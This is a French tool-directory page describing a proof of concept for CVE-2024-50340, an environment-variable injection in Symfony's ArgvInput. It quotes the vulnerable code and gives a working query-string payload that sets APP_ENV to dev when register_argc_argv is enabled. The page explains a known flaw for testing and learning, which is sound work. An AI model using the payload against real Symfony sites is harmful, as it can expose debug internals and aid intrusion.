Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-50340 — Preuve de concept pour CVE-2024-50340 démontrant l'injection de variables d'environnement dans Symfony ArgvInput via des paramètres de requête URL spécialement conçus, permettant la manipulation de APP_ENV et APP_DEBUG. | Kitploit
Outils/GitHubGitHub/nyamort/cve-2024-50340
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubnyamort/cve-2024-50340

CVE-2024-50340

Preuve de concept pour CVE-2024-50340 démontrant l'injection de variables d'environnement dans Symfony ArgvInput via des paramètres de requête URL spécialement conçus, permettant la manipulation de APP_ENV et APP_DEBUG.

Voir le dépôt
12il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-50340 POC

Prérequis

L'option register_argc_argv doit être activée dans le fichier de configuration PHP (php.ini). Ce paramètre charge les arguments de ligne de commande et les paramètres de requête dans $_SERVER['argv']. https://www.php.net/manual/en/ini.core.php#ini.register-argc-argv

Explication du code vulnérable

Ce code Symfony utilise les arguments d'entrée (ArgvInput) pour déterminer les valeurs de certaines variables d'environnement, notamment APP_ENV et APP_DEBUG. Voici les parties pertinentes du code de Symfony :

root@kitploit:~
//Symfony\Component\Runtime\SymfonyRuntime
$input = new ArgvInput();

if (isset($this->options['env'])) {
    return $this->input = $input;
}

if (null !== $env = $input->getParameterOption(['--env', '-e'], null, true)) {
    putenv($this->options['env_var_name'].'='.$_SERVER[$this->options['env_var_name']] = $_ENV[$this->options['env_var_name']] = $env);
}

if ($input->hasParameterOption('--no-debug', true)) {
    putenv($this->options['debug_var_name'].'='.$_SERVER[$this->options['debug_var_name']] = $_ENV[$this->options['debug_var_name']] = '0');
}

Le code ci-dessus traite les arguments fournis via ArgvInput. Si le paramètre --env est spécifié dans argv, il met à jour la variable d'environnement APP_ENV en conséquence. De même, si --no-debug est présent, il définit APP_DEBUG sur 0.

La classe ArgvInput

La classe ArgvInput initialise les paramètres argv passés via la ligne de commande, les paramètres de requête ou, par défaut, ceux présents dans $_SERVER['argv']. La fonction array_shift($argv); supprime le premier élément du tableau $argv (normalement le nom de l'application) et stocke les arguments restants dans $this->tokens.

root@kitploit:~
//Symfony\Component\Console\Input\ArgvInput
public function __construct(?array $argv = null, ?InputDefinition $definition = null)
{
    $argv ??= $_SERVER['argv'] ?? [];

    // strip the application name
    array_shift($argv);

    $this->tokens = $argv;

    parent::__construct($definition);
}

Exemple de PoC

En utilisant l'URL suivante : http://localhost/?+--env=dev, nous pouvons injecter un argument --env=dev dans $_SERVER['argv']. Cela nous permet de changer la valeur de APP_ENV en dev sans modifier directement la configuration de l'application.

  1. Lors de l'accès à http://localhost/?+--env=dev, $_SERVER['argv'] pourrait ressembler à ceci :
root@kitploit:~
$_SERVER['argv'] = ["+--env=dev"];
  1. Dans la classe ArgvInput, après l'opération array_shift, $argv devient :
root@kitploit:~
$argv = ["--env=dev"];
  1. ArgvInput reconnaîtra alors --env=dev comme un paramètre valide et mettra à jour APP_ENV en conséquence via la méthode getParameterOption.
Télécharger l’outil